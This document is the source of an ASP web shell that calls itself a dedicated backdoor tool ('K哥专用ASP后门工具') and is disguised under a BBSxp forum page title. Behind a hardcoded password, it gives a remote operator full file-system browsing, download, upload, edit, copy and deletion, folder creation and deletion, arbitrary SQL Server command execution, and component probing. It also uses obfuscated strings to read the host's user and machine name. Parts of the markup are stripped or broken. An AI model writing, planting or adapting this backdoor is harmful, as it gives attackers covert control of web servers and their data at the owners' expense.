关闭论坛 正规论坛 会员论坛 私密论坛 BBSxp Board - Powered By BBSxp
<%@LANGUAGE=VBScript.Encode codepage ="936"%>
<%Server.ScriptTimeOut=6000%>
<% if request("logout")="out" then
Session("xianker_7758258")=""
response.end
end if
%>
<%on error resume next
dim Data_xlsf
Class upload_xlsf
dim oForm,objFile,Version
Public function Form(sForm)
sForm=lcase(sForm)
if not oForm.exists(sForm) then
Form=""
else
Form=oForm(sForm)
end if
end function
Public function File(strFile)
strFile=lcase(strFile)
if not objFile.exists(strFile) then
set File=new FileInfo
else
set File=objFile(strFile)
end if
end function
Private Sub Class_Initialize
dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile
dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
dim iFindStart,iFindEnd
dim iFormStart,iFormEnd,sFormName
Version="xiaolu"
set oForm=Server.CreateObject("Scripting.Dictionary")
set objFile=Server.CreateObject("Scripting.Dictionary")
if Request.TotalBytes<1 then Exit Sub
set tStream = Server.CreateObject("adodb.stream")
set Data_xlsf = Server.CreateObject("adodb.stream")
Data_xlsf.Type = 1
Data_xlsf.Mode =3
Data_xlsf.Open
Data_xlsf.Write Request.BinaryRead(Request.TotalBytes)
Data_xlsf.Position=0
RequestData =Data_xlsf.Read
iFormStart = 1
iFormEnd = LenB(RequestData)
vbCrlf = chrB(13) & chrB(10)
sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)
iStart = LenB (sStart)
iFormStart=iFormStart+iStart+1
while (iFormStart + 10) < iFormEnd
iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3
tStream.Type = 1
tStream.Mode =3
tStream.Open
Data_xlsf.Position = iFormStart
Data_xlsf.CopyTo tStream,iInfoEnd-iFormStart
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sInfo = tStream.ReadText
tStream.Close
iFormStart = InStrB(iInfoEnd,RequestData,sStart)
iFindStart = InStr(22,sInfo,"name=""",1)+6
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))
if InStr (45,sInfo,"filename=""",1) > 0 then
set theFile=new FileInfo
iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileName=getFileName(sFileName)
theFile.FilePath=getFilePath(sFileName)
iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd = InStr(iFindStart,sInfo,vbCr)
theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileStart =iInfoEnd
theFile.FileSize = iFormStart -iInfoEnd -3
theFile.FormName=sFormName
if not objFile.Exists(sFormName) then
objFile.add sFormName,theFile
end if
else
tStream.Type =1
tStream.Mode =3
tStream.Open
Data_xlsf.Position = iInfoEnd
Data_xlsf.CopyTo tStream,iFormStart-iInfoEnd-3
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sFormValue = tStream.ReadText
tStream.Close
if oForm.Exists(sFormName) then
oForm(sFormName)=oForm(sFormName)&", "&sFormValue
else
oForm.Add sFormName,sFormValue
end if
end if
iFormStart=iFormStart+iStart+1
wend
RequestData=""
set tStream =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes>0 then
oForm.RemoveAll
objFile.RemoveAll
set oForm=nothing
set objFile=nothing
Data_xlsf.Close
set Data_xlsf =nothing
end if
End Sub
Private function GetFilePath(FullPath)
If FullPath <> "" Then
GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
Else
GetFilePath = ""
End If
End function
Private function GetFileName(FullPath)
If FullPath <> "" Then
GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
Else
GetFileName = ""
End If
End function
End Class
Class FileInfo
dim FormName,FileName,FilePath,FileSize,FileType,FileStart
Private Sub Class_Initialize
FileName = ""
FilePath = ""
FileSize = 0
FileStart= 0
FormName = ""
FileType = ""
End Sub
Public function SaveAs(FullPath)
dim dr,ErrorChar,i
SaveAs=true
if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function
set dr=CreateObject("Adodb.Stream")
dr.Mode=3
dr.Type=1
dr.Open
Data_xlsf.position=FileStart
Data_xlsf.copyto dr,FileSize
dr.SaveToFile FullPath,2
dr.Close
set dr=nothing
SaveAs=false
end function
End Class
httpt = Request.ServerVariables("server_name")
rseb=Request.ServerVariables("SCRIPT_NAME")
d=request("d")
if Session("xianker_kge521")<>"xk_hc" then
if trim(request.form("passwd"))="kge521" then
Session("xianker_kge521")="xk_hc"
response.redirect rseb & "?d=ls.asp"
else
%>
<%
end if
response.end
end if
select case d
case "d.asp"
call downloadFile(request("path"))
function downloadFile(strFile)
strFilename = strFile
Response.Buffer = True
Response.Clear%>
<%s.Open
s.Type = 1
if not SSyss.FileExists(strFilename) then
Response.Write("
Error:
" & strFilename & " does not exist
")
Response.End
end if
Set f = SSyss.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
if err then
Response.Write("
Error:
" & err.Description & "
")
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
response.end
End Function
case "ls.asp"
urlpath=server.urlencode(path)
dim cpath,lpath
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=replace(lpath,"/","\")
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if SSyss.FolderExists(cpath)then
Set theFolder=SSyss.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"↑..
<%
end if
End Sub
Sub GetFile()
dim theFiles
if SSyss.FolderExists(cpath)then
Set theFolder=SSyss.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"
"
End Sub
%>
<%=httpt%>|K哥专用ASP后门工具
<%=httpt%>
◆K哥世界◆专用ASP后门
<%For Each thing in SSyss.Drives
Response.write "["&thing.DriveLetter&":]"
NEXT
set oSN=Server.CreateObject("WS"+"cri"+"pt.Ne"+"twork")
%>
User:<%= "\\" & oSN.ComputerName & "\" & oSN.UserName %>
<%if Request("attrib")="true" then
response.write "Apath"
else
response.write "Rpath"
end if
%>
Rpath:<%=cpath%> | CDir:<%=lpath%>
<%case "e.asp"%>
edit
<%if request("op")="del" then
if Request("attrib")="true" then
wfile=Request("path")
else
wfile=server.mappath(Request("path"))
end if
Set thisfile = SSyss.GetFile(wfile)
thisfile.Delete True
Response.write ""
else
if request("op")="copy" then
if Request("attrib")="true" then
wfile=Request("path")
dsfile=Request("dpath")
else
wfile=server.mappath(Request("path"))
dsfile=Server.MapPath(Request("dpath"))
end if
Set thisfile = SSyss.GetFile(wfile)
thisfile.copy dsfile
%>
<%
else
if request.form("text")="" then
if Request("creat")<>"yes" then
if Request("attrib")="true" then
wfile=Request("path")
else
wfile=server.mappath(Request("path"))
end if
Set thisfile = SSyss.OpenTextFile(wfile, 1, False)
counter=0
thisline=Server.HTMLEncode(thisfile.readall)
thisfile.Close
set fs=nothing
end if
%>
<%else
if Request("attrib")="true" then
wfile=Request("path")
else
wfile=server.mappath(Request("path"))
end if
Set outfile=SSyss.CreateTextFile(wfile)
outfile.WriteLine Request("text")
utfile.close
set fs=nothing
Response.write ""
end if
end if
end if
%>
<%case "edir.asp"
if request("op")="del" then
if Request("attrib")="true" then
wdir=Request("path")
else
wdir=server.mappath(Request("path"))
end if
SSyss.DeleteFolder wdir,True
Response.write ""
else
if request("op")="creat" then
if Request("attrib")="true" then
wdir=Request("path")
else
wdir=server.mappath(Request("path"))
end if
SSyss.CreateFolder wdir
Response.write ""
end if
end if
case "up.asp"
set upload=new upload_xlsf
if upload.form("filepath")="" then
HtmEnd "Input up path!"
set upload=nothing
response.end
else
formPath=upload.form("filepath")
if right(formPath,1)<>"\" then formPath=formPath&"\"
end if
for each formName in upload.objFile
set file=upload.file(formName)
if file.FileSize>0 then
file.SaveAs formPath & file.FileName
response.write file.FilePath&file.FileName&" ("&file.FileSize&") To: "&formPath&File.FileName&" Succ! "
end if
set file=nothing
next
set upload=nothing
sub HtmEnd(Msg)
set upload=nothing
Response.write "UP Succ!"
response.end
end sub
case "sql.asp"
If trim(request.form("sqlcmd"))<>"" Then
password= trim(Request.form("pa"))
id=trim(Request.form("id"))
SqlLocalName=trim(Request.form("SqlLocalName"))
ku=trim(Request.form("ku"))
session("sqlu")=id
session("sqlp")=password
session("sqls")=SqlLocalName
session("sqlc")=trim(request.form("sqlcmd"))
session("sqlk")=ku
if SqlLocalName="" or SqlLocalName="sql server" then SqlLocalName="127.0.0.1"
set adoConn=Server.CreateObject("ADODB.Connection")
adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id&";Database="&ku&";Data Source ="&SqlLocalName
strQuery = session("sqlc")
set recResult = adoConn.Execute(strQuery)
if left(strQuery,4)="exec" or left(strQuery,6)="select" then
If NOT recResult.EOF Then
for i=0 to recResult.Fields.Count-1
strResultn=strResultn&"
"&recResult.Fields(i).Name&"
"
next
allre="
"&strResultn&"
"
Do While NOT recResult.EOF
for i=0 to recResult.Fields.Count-1
strResult = strResult &"
"
End if
end if
set recResult = Nothing
End if
set adoConn = Nothing
%>
<%Response.Write request.form("sqlcmd") & " "
Response.Write allre
case "page.asp"
Response.Buffer = False
public IsObj,VerObj,TestObj
dim i
for i=0 to 25
IsObj=false
VerObj=""
TestObj=""
set TestObj=server.CreateObject(ObjTotest(i,0))
If -2147221005 <> Err then
IsObj = True
VerObj = TestObj.version
if VerObj="" or isnull(VerObj) then VerObj=TestObj.about
end if
ObjTotest(i,2)=IsObj
ObjTotest(i,3)=VerObj
next
sub ObjTest(strObj)
on error resume next
IsObj=false
VerObj=""
TestObj=""
set TestObj=server.CreateObject (strObj)
If -2147221005 <> Err then
IsObj = True
VerObj = TestObj.version
if VerObj="" or isnull(VerObj) then VerObj=TestObj.about
end if
End sub
%>
hello
<%Dim strClass
strClass = Trim(Request.Form("classname"))
If strClass<>"" or strClas1<>"" then
Response.Write " Page result"
ObjTest(strClass)
If Not IsObj then
Response.Write " Not support " & strclass & " "
Else
if VerObj="" or isnull(VerObj) then
Verobj1="get ver error"
Else
Verobj1="ver:" & VerObj
End If
Response.Write " support " & strclass &" "&verobj1 & " "
End If
end if%>
Page Obj